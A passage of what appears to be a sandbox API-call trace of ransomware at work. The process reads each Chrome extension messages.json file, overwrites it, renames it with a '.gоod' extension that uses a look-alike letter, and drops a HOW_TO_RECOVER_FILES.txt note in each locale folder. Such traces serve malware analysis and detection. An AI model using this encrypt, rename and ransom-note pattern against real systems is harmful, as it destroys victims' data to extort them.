SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0238.762] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json.gоod")) returned 1 [0238.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x98 [0238.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0239.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0239.624] GetFileType (hFile=0x808) returned 0x1 [0239.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0239.624] GetFileType (hFile=0x808) returned 0x1 [0239.624] WriteFile (in: hFile=0x808, lpBuffer=0x382a440*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x382a440*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0239.625] CloseHandle (hObject=0x808) returned 1 [0239.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0239.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et", lpFilePart=0x0) returned 0x7b [0239.626] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83d2325, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d7144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83d7144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0239.626] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83d2325, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d7144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83d7144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.626] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83d7144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d70e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.626] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0239.626] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0239.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0239.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0239.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0239.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et", lpFilePart=0x0) returned 0x7b [0239.627] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83d2325, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d7144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83d7144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0239.627] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83d2325, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d7144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83d7144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.627] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83d7144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d70e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.627] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83d7144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d70e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0239.627] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0239.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0239.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0239.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0239.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x383b478 | out: lpFileInformation=0x383b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83d7144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d70e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd4)) returned 1 [0239.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0239.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0239.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0239.628] GetFileType (hFile=0x808) returned 0x1 [0239.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0239.628] GetFileType (hFile=0x808) returned 0x1 [0239.628] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xd4 [0239.628] ReadFile (in: hFile=0x808, lpBuffer=0x383b908, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x383b908*, lpNumberOfBytesRead=0x209ebc98*=0xd4, lpOverlapped=0x0) returned 1 [0239.629] CloseHandle (hObject=0x808) returned 1 [0239.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0239.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0239.994] GetFileType (hFile=0x824) returned 0x1 [0239.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0239.994] GetFileType (hFile=0x824) returned 0x1 [0239.994] WriteFile (in: hFile=0x824, lpBuffer=0x3922cd8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3922cd8*, lpNumberOfBytesWritten=0x209ebba8*=0xe0, lpOverlapped=0x0) returned 1 [0239.995] CloseHandle (hObject=0x824) returned 1 [0239.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0239.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0239.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83d7144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83d70e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b439a58, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0239.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0239.996] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json.gоod")) returned 1 [0239.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0239.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0239.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0239.997] GetFileType (hFile=0x824) returned 0x1 [0239.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0239.997] GetFileType (hFile=0x824) returned 0x1 [0239.998] WriteFile (in: hFile=0x824, lpBuffer=0x3926610*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3926610*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0239.998] CloseHandle (hObject=0x824) returned 1 [0239.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0239.999] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu", lpFilePart=0x0) returned 0x7b [0239.999] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83ed0a8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6d0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83f6d0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0239.999] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83ed0a8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6d0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83f6d0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.999] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83f6d0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.999] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0239.999] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0239.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.000] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu", lpFilePart=0x0) returned 0x7b [0240.000] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83ed0a8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6d0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83f6d0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0240.000] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe83ed0a8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6d0b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83f6d0b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.000] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83f6d0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.000] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83f6d0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.000] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0240.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", lpFilePart=0x0) returned 0x89 [0240.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0240.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39365e0 | out: lpFileInformation=0x39365e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83f6d0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x98)) returned 1 [0240.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0240.001] GetFullPathNameW (in: 